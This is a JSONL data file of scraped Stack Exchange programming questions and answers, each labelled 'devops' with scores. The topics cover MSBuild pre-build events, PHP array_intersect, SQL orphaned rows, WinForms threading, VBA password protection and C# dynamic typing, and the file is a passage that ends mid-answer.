{"id": "hf_0b94f833178d", "question": "<p>I have a source XML file that is used to create C# files that are then compiled as part of a project.<br>\nCurrently I have a BeforeBuild target that runs my XML to C# converter.<br>\nThe problem is that by the time the BeforeBuild step is run the old files appear to have been stored by the build system so the new files are ignored.</p>\n\n<p>How can I get around this? It seems that Transforms would be the way but they are limited in what they can do.</p>\n", "question_body": "", "answer": "Well we have something similar-ish here. We gen a .cs off an xml file using a .tt. Both files are part of a specific csproj. Going properties->BuildEvents on the csproj gives this little snippet in the Pre-build event command line:\n```\n```\ndel \"$(ProjectDir)MyCsFile.cs\"\ncopy /b /y \"$(ProjectDir)\\MyXmlFile.xml\" \"$(TargetDir)\"\n\"$(ProjectDir)tt.bat\" \"$(ProjectDir)MyTemplateFile.tt\"\n```\n```\nNo idea if that's of any use to you, I hope it might suffice as a last chance workaround.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.349375"}
{"id": "hf_a05676489a98", "question": "<p>I need some basic CMS functionality with rich text editing. On stack overflow there is a regular textarea edit control, with support for Markdown style syntax formatting. That would be beyond my users, so I want something like a rich edit control that you can type into on the web site. I know it is possible, as loads of sites do it, but I don't know where to start.</p>\n", "question_body": "", "answer": "TinyMCE\nis probably one of the more popular versions of this sort of thing. You can customize it to fit your needs, in terms of what functionality you want to offer your viewers. a few alternatives (tend to be lighter weight than a full TinyMCE install):\nFCKeditor\nXinha", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.372795"}
{"id": "hf_3e6fce1bec59", "question": "<p>If I've got an array of values that are basically zerofilled string representations of various numbers and another array of integers, will <code>array_intersect()</code> still match elements of different types?</p>\n\n<p>For example, would this work:</p>\n\n<pre><code>$arrayOne = array('0003', '0004', '0005');\n$arrayTwo = array(4, 5, 6);\n\n$intersect = array_intersect($arrayOne, $arrayTwo);\n\n// $intersect would then be = \"array(4, 5)\"\n</code></pre>\n\n<p>And if not, what would be the most efficient way to accomplish this? Just loop through and compare, or loop through and convert everything to integers and run <code>array_intersect()</code> after?</p>\n", "question_body": "", "answer": "$ cat > test.php\n```\n```\n<?php\n$arrayOne = array('0003', '0004', '0005');\n$arrayTwo = array(4, 5, 6);\n\n$intersect = array_intersect($arrayOne, $arrayTwo);\n\nprint_r($intersect );\n\n?>\n```\n```\n$ php test.php\nArray\n(\n)\n$\nSo no, it will not.   But if you add\n```\n```\nforeach($arrayOne as $key => $value)\n{\n   $arrayOne[$key] = intval($value);\n}\n```\n```\nyou will get\n$ php test.php\nArray\n(\n    [1] => 4\n    [2] => 5\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.443201"}
{"id": "hf_a6df41e257af", "question": "<p>Is there an event that fires when a WCF service gets started or shut down?  Hopefully, independent of whether it is self hosted or hosted in IIS?</p>\n", "question_body": "", "answer": "Sure, the constructor of your object (especially if you are using a Singleton style). Please pardon the shameless self promotion, but I've written two articles on how to get started with a WCF (Net.Tcp) client/server system... The first is non-IIS (to which the service starts on your own terms), the latter is how to modify the first to be hosted in IIS to which my first sentense would apply:\n1)\nClient Server Programming with WCF\n2)\nDuplex WCF Services Hosted in IIS Using Net.Tcp", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.499939"}
{"id": "hf_c72ce4257567", "question": "<p>SQL Server 2005.</p>\n\n<p>I'm adding Foreign Key constraints to the database of an application that allegedly didn't need them.  Naturally, the data has become unreliable and there are orphaned entries in the foreign key field.</p>\n\n<p>Setup:<br/>\nTwo tables, TableUser and TableOrder.\nTableUser has Primary Key 'UserID', and TableOrder has Foreign Key 'UserID'.</p>\n\n<p>How do I find the rows where TableOrder.UserID has no matching entry in TableUser.UserID?</p>\n\n<p>For example, TableOrder.UserID has a value of 250, but there is no matching TableUser.UserID key for 250.</p>\n", "question_body": "", "answer": "Here's one way:\n```\n```\nselect * from TableOrder where UserID not in (select UserID from TableUser);\n```\n```\nThere are many different ways to write this sort of query.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.534345"}
{"id": "hf_594a6a56aca2", "question": "<p>Does anyone has a good solution for a C# version of the C++ __FUNCTION__ macro? The compiler does not seem to like it.</p>\n", "question_body": "", "answer": "Try using this instead.\n```\n```\nSystem.Reflection.MethodBase.GetCurrentMethod().Name\n```\n```\nC# doesn't have\n```\n__LINE__\n```\nor\n```\n__FUNCTION__\n```\nmacros like C++ but there are equivalents", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.615149"}
{"id": "hf_634c27a20d23", "question": "<p>It seems that the following piece of HTML is ignored in IE7 but works ok in IE6/FF. It supposes to override all the html links to be opened in the desired frame</p>\n\n<pre><code>&lt;HEAD&gt;   \n &lt;title&gt;LeftPane&lt;/title&gt;   \n &lt;base target=\"rightFrame\"&gt;  \n&lt;/HEAD&gt;\n</code></pre>\n\n<p>The above code is the header of a left frame that holds an Infragistics UltraWebTree (tree menu) which doesn't support the TargetFrame property.</p>\n\n<p>Is there another way to add the target attribute to all the links elements on the desired page. </p>\n\n<p>Any server or client-side code workarounds?</p>\n\n<p>The site is built on ASP.Net 1.1 and Infragistics V 2.0</p>\n\n<p><strong>Update</strong> \nthe web page is aspx an the doctype is </p>\n\n<pre><code>&lt;!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\" &gt;\n</code></pre>\n", "question_body": "", "answer": "The\n```\nhref=\"\"\n```\nattibute is\nmandatory on the base tag\n- that's one possible explanation.  You don't say what doctype you're using, but\ntarget is not allowed in strict XHTML\n.\nEdit: tested it without href and it worked ok... that leaves the doctype, or something else.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.638871"}
{"id": "hf_f20b36452114", "question": "<p>If I have a table like this:</p>\n\n<pre><code>CREATE TABLE sizes (\n    name ENUM('small', 'medium', 'large')\n);\n</code></pre>\n\n<p>Is MySQL going to store those strings in every row, or internally will it use something smaller like integers to know which enum value to refer to?</p>\n\n<p>I want to use an enum in a table but I'm worried if it's as wasteful as storing a string in every row.</p>\n", "question_body": "", "answer": "It converts them to integers on INSERT / UPDATE and back to strings on SELECT so the internal storage is as integers but you don't get exposed to that.\nYou can retrieve the integer like\n```\nSELECT mycolumn + 0\n```\n.\nSee\nENUMs in MySQL 5", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.674035"}
{"id": "hf_c6c45914a2b1", "question": "<p>I'm an old hand at embedded programming but new to CE and having a lot of trouble doing reasonably simple things, because I am not familiar with the API and struggling to understand the obscure MSDN docs.</p>\n\n<p>All I want to do is minimize and maximise two separate applications that are running from one of the applications.</p>\n\n<p>E.g. Application A decides that now it is time for it to appear and then minimises application B (App B being a third party application e.g. Notepad, no access to source code etc) and then at a later stage maximising B and minimising itself.</p>\n\n<p>Application A would be written by myself.</p>\n\n<p>I'm sure this must be very simple, but where to find answers.. :)</p>\n\n<p>Thanks in advance.\nEOI</p>\n", "question_body": "", "answer": "Firstly you will need to locate the window handle (hwnd) using the\nFindWindow\nAPI function or some alternate means. Next use the\nShowWindow\nAPI function specifying either\nSW_HIDE\nor\nSW_SHOW\nto hide or show the window respectively. Note that Windows CE 5.0 does not technically support the Win32 window states like SW_MINIMIZE, SW_MAXIMIZE, etc.\nA simple example would be:\n```\n```\nHWND hWnd = ::FindWindow( _T(\"Notepad\"), NULL); \n::ShowWindow(hWnd, SW_HIDE);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.725977"}
{"id": "hf_1c8f83575b2f", "question": "<p>I'm new to .NET, so please be patient with me ;)</p>\n\n<p>On my Windows Form, I have a DataGridView that is bound to a data source. Since my grid is read-only, I have a set of controls (textbox, checkbox, etc.) outside the grid that will be used to edit the data.</p>\n\n<p>I want the controls to be binded to the currently selected row in the grid. Currently, if I set the DataBindings of the controls to the same data source as the grid, only the first record is showned even if I move the record pointer in the grid.</p>\n\n<p>What am I missing?</p>\n\n<p>Environment: Windows Form, C#, Visual Studio 2008.</p>\n", "question_body": "", "answer": "You want to check out the custom datagridviewcolumn types that are available with the datagridview.\nAdd in special columns and then bind a list of business objects to the grid (or a DataSet).\nI think you can even ask the grid to autogenerate sensible columns based upon the objects you give it.\nI wouldn't recommend trying to stuff normal controls into the datagrid per se, there is a grid column framework based on cells, columns and editingcontrols that deals with this stuff. Have a little searchy on Google based on those kind of words (e.g DataBinding/DataGridViewEditingControl), i'm afraid I don't have my DataGridView resources to hand right now.\nOh wait, sorry I re-read. You'll want to look at the BindingContext object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.779502"}
{"id": "hf_41140667b827", "question": "<p>We have 3 applications using 3 different spring configuration files. But we have one database and one datasource, so one session factory.Hhow can we import the session factory bean into the 3 different spring config files?</p>\n", "question_body": "", "answer": "If you are using XML configuration:\nPut your database settings in a Spring configuration called \"database-config.xml\" and import it in the other configuration files.\n```\n```\n<import resource=\"database-config.xml\"/>\n```\n```\nAs to how you share it among three applications is more of a Configuration Management issue. You could use ant / maven to check it out of a repository and move it into the correct location.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.803557"}
{"id": "hf_9b1dc9d6687c", "question": "<p>ok so basically I am asking the question of their name\nI want this to be one input rather than Forename and Surname.</p>\n\n<p>Now is there any way of splitting this name? and taking just the last word from the \"Sentence\" e.g.</p>\n\n<pre><code>name = \"Thomas Winter\"\nprint name.split() \n</code></pre>\n\n<p>and what would be output is just \"Winter\"</p>\n", "question_body": "", "answer": "Like this:\n```\n```\nprint name.split()[-1]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.877690"}
{"id": "hf_6113ac1f9c21", "question": "<p>I had a painful experience with the \"Analysis of Algorithms\" classes back in college but have recently found a need for it in the <em>real world</em>.  -- Anyway, I'm looking for a simple-yet-effective crash course.  Any ideas?</p>\n\n<p><em>Related Sidenote:</em>  It sure would be nice if there were a \"Cartoon Guide to Algorithm Analysis\", taught by Dilbert.</p>\n\n<p><strong>UPDATE:</strong>  A very similar question can be found at: <a href=\"https://stackoverflow.com/questions/366418/how-to-get-started-on-algorithms\">How to get started on ALGORITHMS?</a></p>\n", "question_body": "", "answer": "There are a lot of good books on the subject.  I like\nAn Introduction to the Analysis of Algorithms\n.  Also check out the algorithms course on\nMIT OpenCourseWare\n(using\nCLRS\nas the course text).  It's a little bit deep, but having it online allows you to go at your own pace.\nA couple of other books that I've started reading recently are\nAlgorithms in a Nutshell\nand the\nAlgorithm Design Manual\n.  They both take a lighter approach than most algorithms books.  Instead of heavy math and formal proofs these books give you realistic problem statements and show you the steps taken to refine an algorithm.  They also show you how to\nestimate\nand\nmeasure\nthe complexity of a solution.  I would highly recommend either book.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.924380"}
{"id": "hf_cb5d0ed6e09a", "question": "<ol>\n<li><p>In a simple winform application, I call a function that endlessy create files on a button click event. I add Application.DoEvents() to the loop.</p></li>\n<li><p>I press the red X to close the form.</p></li>\n<li><p>the form closes, but files continue to be created ... </p></li>\n</ol>\n\n<p>I think its on the buttons thread, but shouldnt it be a background one ? trying changing Thread.CurrentThread.IsBackGround to True on the loop function does not help.</p>\n\n<p>Ideas ?</p>\n", "question_body": "", "answer": "The fact that you're using\n```\nApplication.DoEvents\n```\nis the first sign of a problem: it shows that you're doing too much in the UI thread. It's almost never appropriate in a well-structured program. The UI thread is not meant to have any long-running tasks. (Admittedly if it takes a long time to draw your UI you have little choice - but that suggests you should simplify your UI... and it's not applicable in this case, I suspect.)\nInstead, you should be performing the long-running task (creating the files) in a separate thread.\nBackgroundWorker\nis a perfect fit for this - you can use it to report progress back to the UI, and the UI can call\n```\nCancelAsync\n```\nmethod to request that it stops. You need to check the\n```\nCancellationPending\n```\nproperty from within the worker thread, to see whether cancellation has been requested, and stop appropriately.\nEDIT: Just to clarify what I believe is happening - I suspect your form is closing, but the program won't terminate until the event loop has finished. You're keeping the event loop going with your file-creation loop, hence the problem.\nNote that there isn't a thread for the button - there's just one for your whole UI. (In certain cases you may need more than one UI thread, but that's rare - and you'd know it if you'd done it.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:04.971394"}
{"id": "hf_6ffe27289c99", "question": "<p>I'm building an XML document with PHP's SimpleXML extension, and I'm adding a token to the file:</p>\n\n<pre><code>$doc-&gt;addChild('myToken');\n</code></pre>\n\n<p>This generates (what I know as) a self-closing or single tag:</p>\n\n<pre><code>&lt;myToken/&gt;\n</code></pre>\n\n<p>However, the aging web-service I'm communicating with is tripping all over self-closing tags, so I need to have a separate opening and closing tag:</p>\n\n<pre><code>&lt;myToken&gt;&lt;/myToken&gt;\n</code></pre>\n\n<p>The question is, how do I do this, outside of running the generated XML through a <strong>preg_replace</strong>?</p>\n", "question_body": "", "answer": "From the documentation at\nSimpleXMLElement->__construct\nand\nLibXML Predefined Constants\n, I think this should work:\n```\n```\n<?php\n$sxe = new SimpleXMLElement($someData, LIBXML_NOEMPTYTAG);\n\n// some processing here\n\n$out = $sxe->asXML();\n?>\n```\n```\nTry that and see if it works. Otherwise, I'm afraid, it's preg_replace-land.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.017626"}
{"id": "hf_442b9e19f317", "question": "<p>I am using XmlSerializer to write and read an object to xml in C#.  I currently use the attributes <code>XmlElement</code> and <code>XmlIgnore</code> to manipulate the serialization of the object.</p>\n\n<p>If my xml file is missing an xml element that I require, my object still deserializes (xml -> object) just fine.   How do I indicate (preferably via Attributes) that a certain field is \"required\"?</p>\n\n<p>Here is a sample method of what I am using currently:</p>\n\n<pre><code>[XmlElement(ElementName=\"numberOfWidgets\")]\npublic int NumberThatIsRequired {\n    set ...;\n    get ...;\n}\n</code></pre>\n\n<p>My ideal solution would be to add something like an <code>XmlRequired</code> attribute.   </p>\n\n<p>Also, is there a good reference for what Attributes are available to manipulate the behavior of XmlSerializer?</p>\n", "question_body": "", "answer": "I've got an answer for the second part:\n\"Attributes that control XML serialization\"\n.\nStill investigating the first part...\nEDIT: I strongly suspect you can't do this through XML deserialization itself. I've just run xsd.exe on a sample schema which includes a required attribute - and it's exactly the same if the attribute is marked as being optional. If there were a way of requiring properties to be set, I'd expect it to be implemented in that case.\nI suspect you've basically got to just validate your tree of objects after deserializing it. Sorry about that...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.040523"}
{"id": "hf_200af288bf04", "question": "<p>I have two vb.net class:</p>\n\n<pre><code>Public MustInherit Class Class1\n    Private m_sProperty1 As String = \"\"\n    Public Property sProperty1() As String\n        Get\n            Return m_sProperty1\n        End Get\n        Set(ByVal value As String)\n            m_sProperty1 = value\n        End Set\n    End Property\nEnd Class\n\n&lt;ComClass(\"classid\",\"interfaceid\",\"eventid\")&gt; _\nPublic Class Class2\n    Inherits Class1\n\n    Private m_sProperty2 As String = \"\"\n    Public Property sProperty2() As String\n        Get\n            Return m_sProperty2\n        End Get\n        Set(ByVal value As String)\n            m_sProperty2 = value\n        End Set\n    End Property\nEnd Class\n</code></pre>\n\n<p>When I reference the compiled DLL through VB6, Class2 only exposes sProperty2.  How can I access the inherited property of the base class (sProperty1) through COM?</p>\n", "question_body": "", "answer": "I'll take a guess as I'm not up to speed on .NET\nI would imagine your declaration is taking your public methods of Class2 and creating a COM interface out of them.  It will only take methods (and properties) on Class2 and not inherited ones (otherwise you would get all public methods all the way down to your base class).\nThe solution would probably be to declare Class1 as a COM class also (it may be possible to mark it as private) then specify that the COM interfaceid of Class2 descends from the COM interfaceid of Class1.\nSome thing like that shoudl do the trick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.064187"}
{"id": "hf_863b72b285ab", "question": "<p>In my Python app, I have an XML document that I'd like to transform using my XSL file.  I'm currently using xml.etree to generate the XML document, but I haven't found anything within Python 2.5 that will allow me to natively transform my XML document.</p>\n\n<p>I've already found one library (<a href=\"http://xmlsoft.org/XSLT/\" rel=\"nofollow noreferrer\">libxslt</a>) which can execute the transformation, but I figured Python would have a native library that achieves the desired result.</p>\n\n<p>Any thoughts?</p>\n", "question_body": "", "answer": "There is no XSLT processor in Python 2.5.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.146404"}
{"id": "hf_7a03cc8bdc29", "question": "<p>Let's say I have a simple stored procedure that looks like this (note: this is just an example, not a practical procedure):</p>\n\n<pre><code>CREATE PROCEDURE incrementCounter AS\n\nDECLARE @current int\nSET @current = (select CounterColumn from MyTable) + 1\n\nUPDATE\n    MyTable\nSET\n    CounterColumn = current\nGO\n</code></pre>\n\n<p>We're assuming I have a table called 'myTable' that contains one row, with the 'CounterColumn' containing our current count.</p>\n\n<p>Can this stored procedure be executed multiple times, at the same time?  </p>\n\n<p>i.e. is this possible:</p>\n\n<p>I call 'incrementCounter' twice.  Call A gets to the point where it sets the 'current' variable (let's say it is 5).  Call B gets to the point where it sets the 'current' variable (which would also be 5).  Call A finishes executing, then Call B finishes.  In the end, the table should contain the value of 6, but instead contains 5 due to the overlap of execution</p>\n", "question_body": "", "answer": "This is for SQL Server.\nEach statement is atomic, but if you want the stored procedure to be atomic (or any sequence of statements in general), you need to explicitly surround the statements with\nBEGIN TRANSACTION\nStatement ...\nStatement ...\nCOMMIT TRANSACTION\n(It's common to use BEGIN TRAN and END TRAN for short.)\nOf course there are lots of ways to get into lock trouble depending what else is going on at the same time, so you may need a strategy for dealing with failed transactions. (A complete discussion of all the circumstances that might result in locks, no matter how you contrive this particular SP, is beyond the scope of the question.) But they will still be resubmittable because of the atomicity. And in my experience you'll probably be fine, without knowing about your transaction volumes and the other activities on the database. Excuse me for stating the obvious.\nContrary to a popular misconception, this will work in your case with default transaction level settings.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.216648"}
{"id": "hf_16db01f8dad3", "question": "<p>We have a fairly complex web application (.NET 3.5) that need to be launched from a CD-ROM (or DVD, or from an USB key). </p>\n\n<p>I'm thinking of using Cassini and SqlCe for the database (we use LinqToSql for data access, so I think it's the only choice without rewriting the entire data access classes). Is anyone ever done something like that?</p>\n\n<p>Notes : \n<a href=\"http://www.microsoft.com/belux/msdn/nl/community/columns/desmet/hostaspnet2.mspx\" rel=\"nofollow noreferrer\">http://www.microsoft.com/belux/msdn/nl/community/columns/desmet/hostaspnet2.mspx</a>\nKind of does what I want.</p>\n", "question_body": "", "answer": "Where are you going to get the web server to serve the ASP.NET pages? You can open stuff like straight HTML, Flash or Silverlight directly in the browser, but unless I am missing something, you need IIS to do the server side ASP.NET.\nI don't know your requirements, but you might want to consider a WinForms app or even MFC (if you can't guarantee .NET is installed on the target computers).\nThis doesn't answer your database question though. SqlCE should work as the required assemblies can be distributed with your application. Another option is SQLite along with Subversion for your data layer. I have no experience with Cassini though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.240465"}
{"id": "hf_c82b3ffc90c9", "question": "<p>I want to create a view that consists solely of a <code>UITextView</code>. When the view is first shown, by default, I'd like the keyboard to be visible and ready for text entry. This way, the user does not have to touch the <code>UITextView</code> first in order to begin editing.</p>\n\n<p>Is this possible? I see the class has a notification called <code>UITextViewTextDidBeginEditingNotification</code> but I'm not sure how to send that, or if that is even the right approach. </p>\n", "question_body": "", "answer": "to accomplish that just send the becomeFirstResponder message to your UITextField, as follows (assuming you have an outlet called textField, pointing to the field in question):\n```\n```\n- (void)viewWillAppear:(BOOL)animated {\n    [super viewWillAppear:animated];\n    [textField becomeFirstResponder];\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.275509"}
{"id": "hf_a38c5da2f1ef", "question": "<p>I am performing two validations on the client side on the samve event.\nI have defined my validations as shown below</p>\n\n<pre><code>btnSearch.Attributes[\"OnClick\"] = \"javascript:return prepareSave(); return prepareSearch();\"\n</code></pre>\n\n<p>Pseudo code for </p>\n\n<pre><code>prepareSave():\n{\n  if (bPendingchanges)\n    {\n     return confirm('Need to save pending changes first, click OK and loose changes or cancel to save them first')\n    }\n  else\n   {return true}\n}\n</code></pre>\n\n<p>Pseudo code for </p>\n\n<pre><code>prepareSearch():\n{\n  if (bNoSearchText)\n    {\n      alert('Please specify search criteria before proceeding')\n      return false;\n   }\n  else\n   {return true;}\n}\n</code></pre>\n\n<p>When <code>bPendingchanges=false</code>, I never get the second validation running.\nAnyone who can quickly spot what I have overlooked here? Please?</p>\n", "question_body": "", "answer": "Your second\n```\nreturn\n```\nstatement will never be reached. Execution stops after\n```\njavascript:return prepareSave()\n```\n.\nLooks like you want to return true if both functions return true - therefore, do:\n```\n```\nbtnSearch.Attributes[\"OnClick\"] = javascript: return prepareSave() && prepareSearch();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.334404"}
{"id": "hf_90ab4f7153f4", "question": "<p>I want to assign a resource I already have a second name, similar to using the BasedOn property of Styles. Specifically I have a brush that I use for a group of elements called ForegroundColor and I would like to use it in a control template (a ComboBox) calling it MouseOverBackgroundBrush. I would like to do something like this:</p>\n\n<pre><code>&lt;ResourceCopy x:key=\"MouseOverBackgroundBrush\" Value=\"{StaticResource ForegroundColor}\" /&gt;\n</code></pre>\n\n<p>Is there a way to do this or is there a better way to go about this in Xaml?</p>\n", "question_body": "", "answer": "This is a feature that doesn't have very good support in XAML. I believe that you'll either need to repeat yourself (and change both locations anytime you need to change the brush)\nor\nif you don't mind a bit of code behind, you can accomplish the duplication like this:\n```\n```\nResources[\"MouseOverBackgroundBrush\"] = Resources[\"ForegroundColor\"];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.392461"}
{"id": "hf_9c256ca9d1c0", "question": "<p>If I have a button like the one in this image :</p>\n\n<p><strong><a href=\"http://www.freeimagehosting.net/image.php?4cd775814c.png\" rel=\"nofollow noreferrer\">http://www.freeimagehosting.net/image.php?4cd775814c.png</a></strong></p>\n\n<p>how could I make the text display itself vertically ? As in </p>\n\n<pre>\nj\nB\nu\nt\nt\no\nn\n1\n</pre>\n\n<p>I would like to know how to do the same thing for JLabel . I'm sure there has to be a better way than to create as many labels as there are characters in the string . Right ?</p>\n\n<p><strong>EDIT:</strong> how can I insert an image into my post ? The button for the image shows the image in the preview section , but when I actually post the data , I only get some text back , like the tags are getting messed up .</p>\n", "question_body": "", "answer": "You can use HTML for JButton or JLabel. So\n```\n```\nbutton = new JButton(\"<html>J<br>b<br>u<br>t<br>t<br>o<br>n<br>1</html>\");\n```\n```\nshould do the trick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.428221"}
{"id": "hf_7e6866004254", "question": "<p>This question is related to <a href=\"https://stackoverflow.com/questions/259663/vba-password-protection-how-it-works-is-it-secure-are-there-any-alternatives\">my previous one</a>.</p>\n\n<p>Can you explain or provide a link to an explanation of how Excel VBA code password protection actually works in versions prior to 2007? What is the difference in Excel 2007 and previous versions in terms of password protection?</p>\n\n<p>Also does Excel's password protection actually encrypt the code? How does Excel execute the code if it is encrypted?</p>\n\n<p>Lastly, how does password removal software for excel work?</p>\n", "question_body": "", "answer": "VBA security is widely considered to be pretty poor.  The VBA code isn't compiled, and the source is available in the excel file. The password protection is pretty easy to circumvent.\nAs I understand it, Office 2003 and earlier saves the vba code as part of the binary format of the worksheet (or document / presentation).  When you fire up the VBA IDE, it simply looks to see whether the VBA code has been \"protected\" or not.  This doesn't mean it's encrypted - just unavailable for viewing.  The theory is that this stops your users from meddling with your code, but a hard-core coder would be able to get around the password.\nSo Excel doesn't need to unencrypt any code - it just needs to stop people from viewing it.\nOffice 2007\ndoes\nencrypt macros (don't ask me how or what algorithm).  This is necessary presumably because XLSM files (or any Office 2007 file) are just zip files with a different extension.  Anyone can get into those files and poke around.\nTo answer your last question - how does the password removal work on older Office formats, I'm not entirely sure.  Different vendors will possibly approach the problem different ways, but I suspect the most common approach will be a brute-force attack on the passwords until a match is found.\nThe Excel VBProject object has a Protection property which will return different enumerations depending on the protection status of the macro (\n```\nvbext_pp_locked\n```\nif the macro is protected, for example).  If you were to keep trying passwords programmatically until the\n```\nvbext_pp_locked\n```\nevaluated to false, you would have found your password.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.463850"}
{"id": "hf_593721215bcc", "question": "<p>In C#4.0 we're going to get dynamic types, or objects whose \"static type is dynamic\", according to Anders. This will allow any method invocation resolution to happen at runtime rather than compile time. But will there be facility to bind the dynamic object to some sort of contract (and thereby also get full intellisense for it back), rather than allowing any call on it even if you know that is not likely to be valid.</p>\n\n<p>I.e. instead of just</p>\n\n<pre><code>dynamic foo = GetSomeDynamicObject();\n</code></pre>\n\n<p>have the ability to cast or transform it to constrain it to a known contract, such as</p>\n\n<pre><code>IFoo foo2 = foo.To&lt;IFoo&gt;;\n</code></pre>\n\n<p>or even just</p>\n\n<pre><code>IFoo foo2 = foo as IFoo;\n</code></pre>\n\n<p>Can't find anything like that in the existing materials for C#4.0, but it seems like a logical extension of the dynamic paradigm. Anyone with more info?</p>\n", "question_body": "", "answer": "I'm not aware of anything really resembling duck typing, I'm afraid. I've\nblogged about the idea\n, but I don't expect any support. It probably wouldn't be too hard to use Reflection.Emit to make a class which will generate an implementation of any given interface, taking a dynamic object in the constructor and just proxying each call through to 